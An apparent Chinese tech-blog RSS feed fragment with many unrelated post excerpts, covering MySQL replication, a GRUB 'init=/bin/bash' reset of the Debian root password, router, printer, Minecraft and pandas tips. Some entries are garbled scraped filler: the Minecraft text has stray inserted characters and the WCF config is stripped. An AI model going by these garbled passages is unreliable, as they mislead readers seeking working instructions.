幻侠修仙官网版暂未上线，现给玩家带来IOS版下载！&#xA;2、幻侠修仙图片欣赏：&#xA;通过上面的幻侠修仙官网安卓正式版带来震撼无限的修仙剧情模式，让你去体验无尽的冒险传说，带来真实的玄幻与小说的经典模式，还有特色情节等你还原出来；经历五行天劫的磨炼，我们的修仙之路一日千里，在挂机战斗的逍遥路途之中，拥有江湖人的热血决战，跨服模式PK体验全服参与奖励丰厚，这是真正的排名争夺，神兵坐骑的奖励让你拿到手软，只要有实力哪里都是人间的天堂！ 幻侠修仙官网版特色 1、特技惊人的翅膀羽翼还有组队语音功能，让副本对战的财富全都在你手中，江湖恩怨与功德都在红尘的历险之中，法宝与实力的对战尽情狂欢吧！ 2、个性美景给你桃园一般的场景，洞府仙缘我们可以长生问道，带来最美的挑战方式，PK模式绚丽特色来临，挂机对战更能体现王者风范！ 3、新版对战乐趣古典的青云世界，剑侠能力就是妖魔的主站力，三界的波澜都将点燃新的战火，仙盟契约邀请神兽为你助阵，培养亲密度发挥全部潜力！ 4、萌宠养成天下在手，特色的战斗方式经典无双，无尽的冒险与传说，我们都是未来的仙界战将，神仙角色加盟让你战斗力飙升，经典体验热血来袭！ 官方简介 是一款真正的玄幻剧情冒险手游，带来激情不断地妖魔战役，特色的三界故事由你去书写。神仙佳缘的乱世美景，让你充满了希望和动力；与仙女结伴组成仙侣，我们的情缘与三世爱恋都将重演，不离不弃的精神面貌，还有神兽的晋升道路在其中，将体内的血脉力量进行觉醒。技能操作的特色的战斗领域，拥有百变神装是你主宰九州的机会，带来更多的冒险故事情缘，让你成为人人敬仰的三界第一高手！ 温馨提示 幻侠修仙官网版暂未上线，现给玩家带来IOS版下载！和图片，可能大家对幻侠修仙有大致的了解了，不过这么游戏要怎么样才能抢先体验到呢？不用担心，目前九游客户端已经开通了测试提醒了，通过在九游APP中搜索“幻侠修仙”，点击右边的【订阅】或者是【开测提醒】，订阅游戏就不会错过最先的下载机会了咯！&#xA;下载九游APP订阅幻侠修仙&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;</description>
    </item>
    <item>
      <title>账户系统db服务器为创建快照,Mysql 服务器同步(replication)设置.docx</title>
      <link>https://bchobby.github.io/posts/b11a165e961301e2f2a4b8c2f31ddc2d/</link>
      <pubDate>Mon, 09 Aug 2021 15:39:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b11a165e961301e2f2a4b8c2f31ddc2d/</guid>
      <description>Mysql 服务器同步(replication)设置&#xA;Mysql 服务器同步(replication)设置MySQL支持单向、异步复制，复制过程中一个服务器充当主服务器，而一个或多个其它服务器充当从服务器。主服务器将更新写入二进制日志文件，并维护文件的一个索引以跟踪日志循环。这些日志可以记录发送到从服务器的更新。当一个从服务器连接主服务器时，它通知主服务器从服务器在日志中读取的最后一次成功更新的位置。从服务器接收从那时起发生的任何更新，然后封锁并等待主服务器通知新的更新。环境介绍：本测试系统平台为window7.各个机器的mysql版本均为5.1.38，其他版本没有测试。一般只要是5.1.x版本，且每台机器版本一致的情况下都适用。主从备份顾名思义，就是一台机器作为主服务器，另外一台或多台作为从服务器。配置过程如下：在主服务器找到MySQL安装目录下(如：C:\Program Files\MySQL\MySQL Server 5.1)my.ini文件，在文件末尾添加如下代码：server-id=1 log-bin=C:\mysqlbackbinlog-do-db=testlog-bin=C:\mysqlback#这里的mysqlback是日志文件名，C:\是路径，在正常运行时，会在C盘下产生mysqlback.000001、mysqlback.000002等日志文件。如果直接设置为log-bin=mysqlback，则会在mysql的data目录下产生这些mysqlback.000001、mysqlback.000002等日志文件。#binlog-do-db=test1#test为需要同步的数据库名。如果需要同步多个数据库，多次使用这条语句即可从服务器找到my.ini文件，在文件末尾添加如下代码：server-id=2 master-host=192.168.1.104master-user=user1master-password=user1master-port=3306master-connect-retry=60master-host=192.168.1.104#主复制服务器的主机名或IP地址。如果没有给出该选项，从服务器线程不启动。master-port=3306#如果mysql服务使用的默认端口3306，就可以省略此项master-connect-retry=60#在主服务器宕机或连接丢失的情况下，从服务器线程重新尝试连接主服务器之前睡眠的秒数。如果未设置，默认值为60。replicate-do-db=test#告诉从服务器限制默认数据库(由USE所选择)为test的语句的复制。要指定多个数据库，应多次使用该选项，每个数据库使用一次。slave-skip-errors=all #忽略错误继续同步在主服务器上为从服务器打开权限：GRANT REPLICATION SLAVE ON *.*TO ‘user1’@‘192.168.1.11’IDENTIFIED BY‘user1’;重启主从服务器的mysql服务使主从服务器的数据库保持一致根据数据库使用的引擎不同有些区别：MyISAM(本次测试采用的引擎)：在锁定主服务器数据库的情况下，可以直接将data下面的数据库文件复制到从服务器data下面，并重启从服务器(如果是直接添加新的数据库不需要重启)在从服务器的mysql命令行内输入如下命令：LOAD DATA FROM MASTER需要说明的是：你需要授予该账户其它权限：授予账户SUPER和RELOAD全局权限。为所有想要装载的表授予SELECT权限。任何该账户不能SELECT的主服务器上的表被LOAD DATA FROM MASTER忽略掉。InnoDb：MyISAM的第二种办法可以获得全局读锁定，然后开始InnoDB表的文件系统快照。创建快照最简单的途径是使用归档程序对主服务器上的数据目录中的数据库进行二进制备份。(这部分没有具体测试，就不说了，摘自《mysql参考手册》第6章 Mysql中的负责 6.4 如何设置复制)查看结果主服务器：一般情况下第一次使用命令show master status查看主服务器状态File 是mysqlback.000001，position是106.从服务器：?说明：在第一次设置完成master，slave之后，如果要修改slave的my.ini里master的设置必须先删除data下面的master.info文件，重启服务才能生效。否则服务器会以master.info中的信息为准。或者另外一个办法就是直接在mysql命令行中使用chang master to命令。二、主主同步主主同步是指AB同时互为master和slave，其操作就是在主从同步的基础上在反过来再设置一次，将从服务器作为主服务器，主服务器作为从服务器。添加代码如下：A(1</description>
    </item>
    <item>
      <title>服务器debian系统重置,如何重置Debian 10系统的root登录密码</title>
      <link>https://bchobby.github.io/posts/c9e273fd718c997c18ab55ae70beb44a/</link>
      <pubDate>Mon, 09 Aug 2021 15:35:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c9e273fd718c997c18ab55ae70beb44a/</guid>
      <description>在这个简短的教程中，您将学习如何在Debian 10服务器的系统中重设忘记的root密码。这将帮助您重新获得以root用户身份登录并执行管理任务的功能。。&#xA;1、首先打开或重启Debian 10系统的服务器。应该显示GRUB菜单，如下所示。在第一个选项上，继续并‘e’在系统开始引导之前按键盘上的键。&#xA;Debian Grub菜单&#xA;这会将您引导至如下所示的屏幕。向下滚动并找到在指定UUID‘linux’的/boot/vmlinuz-*部分之前的开头的行。&#xA;将光标移动到该行的末尾，紧随其后‘ro quiet’并附加参数init=/bin/bash。&#xA;下次点击ctrl + x以使其能够以装有只读(ro)访问权限的根文件系统在单用户模式下启动。&#xA;为您重置密码，您需要更改从访问权限只读到读写。因此，运行以下命令以重新安装具有rw属性的根文件系统。&#xA;：/＃mount -n -o remount，rw /&#xA;挂载Debian文件系统&#xA;接下来，通过执行所示的good old passwd命令来重置root密码。&#xA;：/＃passwd&#xA;在Debian中重设根密码&#xA;提供新密码并重新输入以确认。如果一切顺利并且密码匹配，您将在控制台末尾收到“ 密码更新成功 ”通知&#xA;最后按Ctrl + Alt + Del退出并重新启动。现在，您可以使用刚刚定义的新创建的密码以root用户身份登录。&#xA;这就是您在Debian 10上重置忘记的root密码的方式。</description>
    </item>
    <item>
      <title>打印机服务器纸张属性不显示,为什么我的打印机能在打印机服务器属性里设置自定义纸张大小,却无法? 爱问知识人...</title>
      <link>https://bchobby.github.io/posts/099e65be1442273874ac686be3e005c3/</link>
      <pubDate>Mon, 09 Aug 2021 15:20:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/099e65be1442273874ac686be3e005c3/</guid>
      <description>问题原因及解决方法&#xA;１、在以往的Windows 98操作系统中，打印机属性里的“纸张大小”中有“自定义”一项。而Windows 2000和Windows XP中自定义的位置是不同于Windows 98的。&#xA;这里用一个示例来表述。假定用户使用了一款15cm宽，20cm高的自制纸张，想分别在Windows XP和Windows 2000操作系统中添加这款纸张类型，以便使用时可以方便的选择。&#xA;由于在Window XP和Windows 2000操作系统中添加自定义纸张的步骤完全相同，这里只用一个在windowsXP下的示例作为代表。&#xA;在Windows XP操作系统中，步骤如下：&#xA;１。１、调出“服务器属性”界面。&#xA;在“控制面板”中选择“打印机和传真机”双击打开。&#xA;然后点击“文件”，在下拉菜单中选择“服务器属性”。&#xA;打开“服务器属性”&#xA;１。２、创建，并且保存自定义的纸张。&#xA;在“服务器属性”中，勾选“创建新格式”。然后在“表格名”中为自己新定义的纸张起一个名字，比如：创建新格式。在“宽度”，“高度”中分别键入15，和20。&#xA;“打印机区域边距”可根据需要自行制定。最后点击“保存”。&#xA;一个名叫“创建新格式”的格式就产生了。其代表一种宽度15cm高度20cm的纸张大小。&#xA;创建新格式&#xA;１。３、在打印机属性中选用这款新定义的纸张。(下面以LQ-1600K4打印机为例进行说明)&#xA;打开打印机属性，点击“打印首选项”，点击“高级”，点击“纸张大小”下拉菜单。&#xA;在其中选择“创新建格式”纸张类型。即可。&#xA;调用该格式&#xA;２、所有的打印机限于它的机械结构(走纸系统、纸张感应系统)等原因，都有自己的对纸张大小的最基本的要求。并不是所有的纸张大小都可以支持到。&#xA;比如有的用户希望打印10cm以下宽度的纸张，比如7cm宽的卡片铭牌，自定义好纸张之后，却发现在自己的1600K4打印机的属性中没有这款纸型。&#xA;这是因为1600K4打印机默许的最小纸宽为9。91cm，小于这个宽的的纸张由于打印机不能保证顺利进纸、正确走纸而不支持用户设定。因而用户看不到自己设定的7cm纸宽。&#xA;。&#xA;全部</description>
    </item>
    <item>
      <title>dnf电脑服务器不稳定怎么办,Win10玩DNF间歇性卡顿怎么办？Win10系统玩DNF卡顿解决方法(2)...</title>
      <link>https://bchobby.github.io/posts/9afebdabc4c38ee1a7a09d0527256855/</link>
      <pubDate>Mon, 09 Aug 2021 14:56:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9afebdabc4c38ee1a7a09d0527256855/</guid>
      <description>4、优化驱动器是自动计划的，我们要将其关闭自动计划，我们点击“优化”，如下图所示。&#xA;5、优化计划下面去除勾选“按计划运行(推荐)”，记得是去除勾选哦，点击“确定”。&#xA;6、可以将固态磁盘都优化一下，点击优化之后当前状态就会正常。记得点击选中需要优化的磁盘，然后再点击优化。&#xA;步骤二：关闭SysMain服务(由于系统版本不同可能是superfetch服务)&#xA;1、首先我们鼠标右键点击“此电脑”，选择“管理”，在计算机管理中点击“服务和应用程序”，在双击进入“服务”，如下图所示。&#xA;2、我们找到“SysMain”服务或者是“superfetch”服务，双击进入。&#xA;3、将启动类型修改为“禁用”，并点击“停止”按钮，停止运行该服务。&#xA;将电脑重新启动赶紧打开DNF游戏测试一下吧。&#xA;此外，网上还表示删除DNF安装文件夹中的TesSafe文件也可以解决，不过没有测试该方法，大家可以测试一下。&#xA;以上就是装机之家分享的Win10系统玩DNF卡顿解决方法，如果您在Win10系统下经常不定时的明显卡顿(间歇式卡顿)，或是PK的时候经常出现在连招、顶招的时候导致失误，不妨通过以上的方法来尝试解决，如果是电脑配置的问题，那么只有升级硬件了。</description>
    </item>
    <item>
      <title>服务器 备案 文档,自己的服务器 备案</title>
      <link>https://bchobby.github.io/posts/e3c5b119dd08056477d3cdbc4d78c40b/</link>
      <pubDate>Mon, 09 Aug 2021 14:51:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e3c5b119dd08056477d3cdbc4d78c40b/</guid>
      <description>自己的服务器 备案 内容精选&#xA;换一换&#xA;弹性云服务器与传统硬件服务器一样，可以部署任意业务应用，例如：邮件系统、WEB系统、ERP系统等。弹性云服务器创建成功后，您就可以像使用自己的本地PC或物理服务器一样，在云上使用弹性云服务器。&#xA;云手游服务器适合云手游的场景，一台云手游服务器对应15个云手机实例。本文通过四个阶段构建入门级云手游系统。首先，您需要梳理对云手游的诉求，明确业务的应用场景、演进方向，以及自己的运营和运维系统与云手机实例的交互方式，不同的业务诉求所对应的对接方案有差异。我们已提供云手机实例的音视频接口，您可以通过音视频接口开发自己的控制程序、网络传输、调&#xA;自己的服务器 备案 相关内容&#xA;监控是保持云耀云服务器可靠性、可用性和性能的重要部分，通过监控，用户可以观察云耀云服务器资源。为使用户更好地掌握自己的云耀云服务器运行状态，公有云平台提供了云监控。您可以使用该服务监控您的云耀云服务器，执行自动实时监控、告警和通知操作，帮助您更好地了解云耀云服务器的各项性能指标。主机监控分为基础监控和操作系统监控。基础监控为云服务器自动上&#xA;锁定弹性云服务器。租户可以锁定自己的弹性云服务器，不能锁定其他租户的云服务器。弹性云服务器被锁定后，租户将不能再对云服务器执行管理操作。POST /v2.1/{project_id}/servers/{server_id}/action参数说明请参见表1。参数说明参数是否必选描述project_id是项目ID。获取方法请参见获取项目ID。&#xA;自己的服务器 备案 更多内容&#xA;欢迎使用弹性云服务器(Elastic Cloud Server ，ECS)。弹性云服务器是由CPU、内存、镜像、云硬盘组成的一种可随时获取、弹性可扩展的计算服务器，同时它结合虚拟私有云、虚拟防火墙、数据多副本保存等能力，为您打造一个高效、可靠、安全的计算环境，确保您的服务持久稳定运行。弹性云服务器创建成功后，您就可以像使用自己的本地PC或&#xA;SSL证书对部署的服务器没有任何限制，无论是华为云或其他云厂商的服务器，还是线下云服务器。获取证书文件后，您可根据自己的需求将SSL证书部署到网站对应的服务器上，或将证书应用到WAF、ELB、CDN等云产品中。具体的部署操作请参考以下文档：如何在服务器上安装SSL证书？如何将SSL证书应用到华为云产品？如何在服务器上安装SSL证书？如何将&#xA;SSL证书对部署的服务器没有任何限制，无论是华为云或其他云厂商的服务器，还是线下云服务器。获取证书文件后，您可根据自己的需求将SSL证书部署到网站对应的服务器上，或将证书应用到WAF、ELB、CDN等云产品中。具体的部署操作请参考以下文档：如何在服务器上安装SSL证书？如何将SSL证书应用到华为云产品？如何在服务器上安装SSL证书？如何将&#xA;当后台重新配置邮箱服务器等信息后，手机端WeLink一定要退出重新登录一次。我们常用的邮箱，比如：QQ邮箱、163邮箱、腾讯企业邮箱、网易企业邮箱、263企业邮箱等常见邮箱，可以参考常见问题 &amp;gt; 客户端-邮件里的“常见的IMAP邮箱配置方法”，里面有详细的配置截图。如果是企业自己的邮箱，需要联系自家企业的IT管理员，确定自家企业邮箱的服务&#xA;监控是保持弹性云服务器可靠性、可用性和性能的重要部分，通过监控，用户可以观察弹性云服务器资源。为使用户更好地掌握自己的弹性云服务器运行状态，公有云平台提供了云监控。您可以使用该服务监控您的弹性云服务器，执行自动实时监控、告警和通知操作，帮助您更好地了解弹性云服务器的各项性能指标。主机监控分为基础监控和操作系统监控。基础监控为ECS自动上报&#xA;请检查应用服务器的网络连接情况，确保应用服务器网络正常。检查请求中物联网平台的应用接入地址和端口是否正确。使用“ping {物联网平台应用接入地址}”命令，查看应用服务器是否可以正常访问物联网平台的应用接入地址。使用“telnet {物联网平台应用接入地址} {端口}”命令，查看是否可以打开物联网平台的应用接入端口。检查应用服务器是否集成&#xA;通过华为云备案，需要先购买华为云中国大陆节点服务器，用于网站备案使用，后称为“备案服务器”。目前可用于华为云备案的服务器，请参见备案服务器。如果您的华为云帐号A中没有可备案的服务器，华为云帐号B中有满足条件的弹性云服务器，您可以通过生成授权码操作，将B帐号下的云服务器生成备案授权码，供帐号A备案使用，详情请参见备案授权码。通过华为云备案，&#xA;用户在创建云服务器或为云服务器切换操作系统时，有时会选不到自己的私有镜像。可能原因是x86与ARM架构不兼容，或者UEFI与BIOS启动方式不兼容等。详细说明如下：通过x86 CPU架构的云服务器创建的私有镜像，不能用于创建鲲鹏CPU架构的云服务器，也不能在鲲鹏CPU架构云服务器切换操作系统时使用。反之亦然。通过外部镜像文件创建私有镜像时&#xA;实例即弹性云服务器，是由CPU、内存、操作系统、云硬盘组成的基础的计算组件。弹性云服务器创建成功后，您就可以像使用自己的本地PC或物理服务器一样，在云上使用弹性云服务器，打造一个高效、可靠、安全的计算环境。弹性云服务器的开通是自助完成的，您只需要指定CPU、内存、操作系统、规格、登录鉴权方式即可，同时也可以根据您的需求随时调整您的弹性云服&#xA;本指南以创建的密钥对登录Linux弹性云服务器为例，指导您快速上手密钥对管理服务。包括准备环境、创建密钥对、绑定密钥对、使用私钥登录Linux弹性云服务器等操作。&#xA;本章节主要介绍弹性云服务器、裸金属服务器和镜像服务，让您更好的了解这些计算服务。</description>
    </item>
    <item>
      <title>服务器操作系统加固报价,服务器操作系统加固</title>
      <link>https://bchobby.github.io/posts/1b1524d76e9d45000636370641318bdd/</link>
      <pubDate>Mon, 09 Aug 2021 14:43:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1b1524d76e9d45000636370641318bdd/</guid>
      <description>服务器操作系统加固 内容精选&#xA;换一换&#xA;本节介绍如何使用华为云镜像，通过切换镜像部署Windows环境。当您已经购买了弹性云服务器，但想切换成其它类型操作系统，或者想使用镜像重新部署已经预装了其它软件的环境，可以参考本文档的介绍和操作指导。切换操作系统的约束与限制可以参见切换操作系统。如果该实例刚刚创建，可以直接停止实例。如果实例已经运行了一段时间，您想保留其中的数据，请在操作&#xA;登录Windows操作系统弹性云服务器时，无法正常进入系统。自启动系统修复模式，但选择修复选项后报错，无法继续进行系统恢复。Windows文件已损坏。登录管理控制台，选择“计算 &amp;gt; 弹性云服务器”。卸载云服务器挂载的数据盘。在云服务器的详情页，单击“云硬盘”页签，单击数据盘后的“卸载”。在云服务器的详情页，单击“云硬盘”页签，单击数据盘后&#xA;服务器操作系统加固 相关内容&#xA;Atlas 800 训练服务器(型号 9000)安装上架、服务器基础参数配置、安装操作系统等操作请参见《Atlas 800 训练服务器 用户指南 (型号9000, 风冷)》或《Atlas 800 训练服务器 用户指南 (型号9000, 液冷)》。Atlas 800 训练服务器(型号 9000)适配操作系统如表1所示。当操作系统为CentO&#xA;Atlas 800 训练服务器(型号 9000)安装上架、服务器基础参数配置、安装操作系统等操作请参见《Atlas 800 训练服务器 用户指南 (型号9000, 风冷)》或《Atlas 800 训练服务器 用户指南 (型号9000, 液冷)》。Atlas 800 训练服务器(型号 9000)适配操作系统如表1所示。当操作系统为CentO&#xA;服务器操作系统加固 更多内容&#xA;Atlas 800 训练服务器(型号 9000)安装上架、服务器基础参数配置、安装操作系统等操作请参见《Atlas 800 训练服务器 用户指南 (型号9000, 风冷)》或《Atlas 800 训练服务器 用户指南 (型号9000, 液冷)》。Atlas 800 训练服务器(型号 9000)适配操作系统如表1所示。当操作系统为CentO&#xA;硬件要求如表1所示。操作系统要求如表2所示。上表中所需Ubuntu下载地址：服务器1：Ubuntu 18.04.1镜像包、Ubuntu 16.04.4 镜像包。服务器2：Ubuntu 16.04.3 镜像包。在安装操作系统过程中“选择软件列表”时，只需选OpenSSH server即可，详细信息请参见https://forum.huawe</description>
    </item>
    <item>
      <title>jyr路由器虚拟服务器,免费路由JCG JYR-N495设置上网教程具体讲解</title>
      <link>https://bchobby.github.io/posts/698adc01c807c68474e65ee4ff2bc889/</link>
      <pubDate>Mon, 09 Aug 2021 14:22:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/698adc01c807c68474e65ee4ff2bc889/</guid>
      <description>在前面我们介绍了免费路由JCG JYR-N495的申领教程，对于拿到路由器的用户来说，必然会关心如何设置路由器的问题，毕竟我们买路由器的目的就是用来上网的。 JCG JYR-N495路由器的外观设计时尚靓丽，采用的三天线设计，最高速率可达300Mpbs，可以说是我们家用的相当高的配置了，下面小编就为大家介绍一下JCG JYR-N495路由器如何设置上网&#xA;首先我们先来了解一下JCG JYR-N495的配置参数，好方便我们接下来的操作：&#xA;首先我们要把路由器的物理连接给搞定，其中的蓝色接口就是广域网接口了，把我们的宽带直接连接到蓝色接口即可，然后再找一根双绞线通过黄色接口连接到我们的电脑上&#xA;然后打开浏览器，最好是IE浏览器。然后我们在地址栏输入192.168.1.1登录路由器后台界面，用户名密码按照默认输入即可登录，一般都会在路由器的底部有说明。&#xA;登录后我们会发现设置界面非常简单智能，对于小白用户只要输入个用户名密码即可使用，而对于有些电脑常识的朋友肯定不满足这些，我们可以选择右上角的高级设置&#xA;进入高级设置后，我们会在左侧发现非常丰富的高级功能选项。比如安全设置、访问控制、防火墙设置等等，这些大家可以随自己的需要选择设置哦。&#xA;最后跟大家介绍一下路由器背后的是三个按键的实体功能：一个是电源开关，可以直接关闭路由器的电源，不用在拔插板上的电源啦；一个是功率调节开关，可以直接调节无线的范围，可大可小。听着有点邪恶啊，不要多想，这是很实用的一个功能；最后就是WRT/WPS的开关了，长按几秒可以直接恢复出厂设置，主要用于路由器被不明的人修改之后恢复设置所用，也是所有路由器必备的按钮之一。</description>
    </item>
    <item>
      <title>我的世界服务器皮肤文件夹在哪里,我的世界青龙皮肤文件，启动侠皮肤文件夹在哪个文件夹...</title>
      <link>https://bchobby.github.io/posts/17c950894435d9b797dc2d6b13c2bbb7/</link>
      <pubDate>Mon, 09 Aug 2021 14:01:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/17c950894435d9b797dc2d6b13c2bbb7/</guid>
      <description>你皮肤站，我的世界人物皮肤文件夹是哪个文件夹要先创建角色，填上名字，创建角色完毕。然后要选择皮肤，保存之后。进入mc看看有没有你的皮肤，如果没有，就代表你没有皮肤站里面的小插件，那就下载皮肤站里面的[模组下载]下载模组安装器下载之后，打开软件，点击‘’选择游戏jar文件&#39;&#39;找到你游戏的目录：.minecraft---versions---xxx文件夹里面有个jar文件，选择之后点击打开，会出现版本，你选择你的版本之后，点击安装即可。进入游戏你就会看到你的皮肤了。&#xA;启动器皮肤文件夹在哪个文件夹&#xA;找到游戏目录bin，用解压缩软件打开minecraft.jar具体教程这里有&#xA;本体：将本体MOD放入mods文件夹附属：将附属MOD放入mods文件夹(非必装项)皮肤：将皮肤包放入mods文件夹音效：解压后放在.minecraftmodslittleMaidMobX目录下&#xA;打开versions，我的世界皮肤怎么加到文件里去里百面有个小茶壶形状的文件，用压度缩工具打开它，依次打知开assets，minecraft，，textures，entity，先将里面自带道的原皮肤删掉，再版将下载好的皮肤的文件名改为steve.png放进去权&#xA;人的肤色具有黑、黄、红、白和棕色等许多种，即使来是同一种族的人，也有很大差别。然而能令皮肤的颜色发生改变自的因素有三种：皮肤百的厚度，血液的供应量，皮肤里的色素。特别是皮肤的色素，最重要的就是黑色素，它可以从黄色到度黑色的颜色范围之内变问化。皮肤分为好多层，紧靠外边的叫表皮，紧靠里边的叫做真皮，黑色素在真皮以及表皮之间答。所以蓝皮肤也不是没有可能哦.&#xA;如果是要服务器里别人看见的皮肤的话需要下载皮肤mod但是对方也要安装皮肤mod没有安装的人是看不见的。如果不需要别人看见只要在[.minecraft]文件夹里面找到[minecraft.jar]右键在[打开方式]中选择winrararchiver或者其他的压缩软件用那个打开在[minecraft.jar]里面找到[mob]文件夹删掉[char.png]把你要的皮肤改名[char.png]复制进去就可以了如果是高清皮肤要安装[高清修复补丁]不然会乱掉、&#xA;用压缩方式打开bin目录的minecraft.rar文件，我的世界皮肤文件叫什么用之后找到mob文件夹&#xA;我的世界生物文件在哪；我的世界生物模型文件；我的世界模型文件在哪；我的世界实体模型文件在哪；我的世界生物模型在哪；我的世界做生物摸形；我的世界生物模型文件路径；我的世界生物模型修改；我的世界骷髅模型；我的世界皮肤建模；我的世界建模在哪个文件夹；我的世界生物模型制作；我的世界建苦力怕模型；我的世界人物模型；我的世界模型制作教程；我的世界模型怎么做；&#xA;versions——文件(不要解压)——assets——minecraft——textures——entity——把原版Steve(1.8有是是alex)替换成下载好的皮肤(名字要一样)即可Ps:1.8与1.7及以下版本皮肤文件互不相通&#xA;手机的在games里里面有两个文件夹一个是游戏设置一个是地图电脑可以搜minecraft找到&#xA;我的MINGCRAFT是服务器整合，找不到MINECRAFE.JAR。。。...&#xA;人物皮肤文件夹是哪个文件夹&#xA;网上搜我的世界皮肤站，注册登陆找到自己心仪的皮肤就可以了，不用这么麻烦&#xA;要下皮肤mod&#xA;我的世界皮肤文件夹在哪；我的世界下载的皮肤在哪；我的世界皮肤在哪找；世界卡车皮肤更换教程；我的世界皮肤站下载；我的世界皮肤；我的世界pe皮肤文件夹；我的世界中国版皮肤路径；我的世界文件夹在哪；我的世界披风文件夹在哪；我的世界材质包文件夹在哪；我的世界中国版皮肤文件夹；我的世界皮肤站；我的世界文件夹；我的世界皮肤在哪个文件；我的世界中国版皮肤导出；&#xA;而其中有着非常强悍的伤害，以下的建议就说稳准狠，日前的一个更新公告昭示着新的我的世界冰封冻土玩法即将上线，最近有玩家好奇我的世界亚瑟流跟谁好，但是在我的世界最新更新之后，这对于很多玩家来说都是比较困难的。</description>
    </item>
    <item>
      <title>wcf 在虚拟服务器上部署,如何将WCF服务部署到远程服务器</title>
      <link>https://bchobby.github.io/posts/dfeea75de0547dbf2c44778b5dc12c61/</link>
      <pubDate>Mon, 09 Aug 2021 13:54:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dfeea75de0547dbf2c44778b5dc12c61/</guid>
      <description>如何将WCF服务部署到远程服务器&#xA;一、前言&#xA;最近需要将自己写的WCF服务部署到远程服务器上，也就是公网上。宿主是IIS，在配置成功之前遇到了很多问题，问题如下：&#xA;1. WCF该怎么宿主在IIS上，为何会出现 400 Bad Request&#xA;2. 防火墙如何开放&#xA;3. 为何我能在客户端引用服务，但是运行时依然提示Soap操作错误，404 Not Found&#xA;那么接下来，我就告诉大家我走过的坑，也避免了百度上各种司机瞎带路。(网上好多其实是本地部署，Localhost谁都会，VS直接Debug都行)&#xA;二、准备阶段&#xA;首先你要配置好的你的web.config，web.config的配置正确与否直接影响你WCF部署的成功与否。这里我可以提供一个我的例子，供大家参考：&#xA;复制代码&#xA;1 &amp;lt;?xml version=&#34;1.0&#34;?&amp;gt;&#xA;2 3 4 5 6 7 12 13 25 26 27 31 32 36 37 38 39&#xA;40 41 42 43 receiveTimeout=&#34;00:30:00&#34; sendTimeout=&#34;00:30:00&#34; hostNameComparisonMode=&#34;StrongWildcard&#34;&#xA;44 maxBufferPoolSize=&#34;2147483647&#34;&#xA;45 maxReceivedMessageSize=&#34;2147483647&#34;&#xA;46 maxBufferSize=&#34;2147483647&#34;&#xA;47 messageEncoding=&#34;Text&#34;&amp;gt;&#xA;48 49 50 51 52&#xA;53&#xA;54 55 56 name=&#34;BiChengUpdateService.UpdateService&#34;&amp;gt;&#xA;57 58 bindingConfiguration=&#34;bindingConfig&#34; name=&#34;Endpoint1&#34; contract=&#34;BiChengUpdateService.IUpdateService&#34; /&amp;gt;</description>
    </item>
    <item>
      <title>如何在pandas中使用loc、iloc函数进行数据索引</title>
      <link>https://bchobby.github.io/posts/355a75a0feea336b74fb36adf122bc60/</link>
      <pubDate>Mon, 09 Aug 2021 13:51:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/355a75a0feea336b74fb36adf122bc60/</guid>
      <description>二、使用iloc函数索引数据 （注意~iloc函数主要通过 行号 索引行数据）&#xA;而且，iloc函数索引的数据是int整型，因此是Python默认的前闭后开。注意只能说int型，也就是数字，输入字符的话是会报错的。 1、利用iloc索引第一行：&#xA;从上面三种表达，大家可以明确看到，iloc函数索引的是int型的数字，是属于前闭后开的。（注意~索引都是默认从0开始的~）&#xA;2、利用iloc函数索引多行：&#xA;假如这个时候我们想索引一下奇数行：&#xA;可以看到，当我们直接输入行号时，是会报错的。&#xA;正确的做法是：&#xA;df.iloc[[0,2,4,6]] 可以看到，在正确的做法中，我们需要键入一个列表，而不是一串数字~&#xA;当然了，我们可以用更智能的方法：&#xA;df.iloc[0:8:2] 3、利用iloc函数索引多列：&#xA;比如这个时候我们想索引一下收入列和年龄列，正确的做法是：&#xA;df.iloc[:,1:3] 或者是：&#xA;df.iloc[:,[1,2]] 4、利用iloc函数索引一个2*2的数据集：（前两行前两列所交的四个数据为例）&#xA;df.iloc[[0,1],[0,1]] 是不是和python的切片有点像呢?大家可不要将两者弄混了哦~&#xA;https://zhuanlan.zhihu.com/p/111123163?from_voters_page=true</description>
    </item>
    <item>
      <title>全图示例matlab产生的两张图的数据合并，不论新旧。</title>
      <link>https://bchobby.github.io/posts/a3747a63be42f1dd9be8109ab62a374d/</link>
      <pubDate>Mon, 09 Aug 2021 13:32:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a3747a63be42f1dd9be8109ab62a374d/</guid>
      <description>产生的matlab生成的两张图格式是fig。&#xA;目标——想把第二张图的线的数据合并到第一张图。&#xA;1.右键点击图二任意出弹出设置窗，点击进入显示属性编辑器&#xA;2.弹出属性编辑器后，点击右上角的更多属性。弹窗初始为整个图2窗体的属性，但是我们需要线的属性，所以我们点击图二的红线，小弹窗即为红线属性。&#xA;我们需要的是线的y轴数据，所以点击数据栏，复制YData的数据即可。&#xA;3.添加YData的数据到图一。直接右击图一窗体，点击弹窗的添加数据。X和Y都要选择变量，不能只能复制数据上去，所以我们选择再命令窗口把图二线的数据赋值给r。添加数据框的变量Y就可以选择r作为变量了，X也是同样的操作。添加完毕后就可以修改图例说明了。&#xA;如果有用，点个赞鼓励一下噢！</description>
    </item>
    <item>
      <title>服务器的响应表明源端口号,JSP基础知识?客户端请求与服务端响应（三）</title>
      <link>https://bchobby.github.io/posts/89949af646bdce6e771d9193dc3bb4b0/</link>
      <pubDate>Mon, 09 Aug 2021 13:27:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/89949af646bdce6e771d9193dc3bb4b0/</guid>
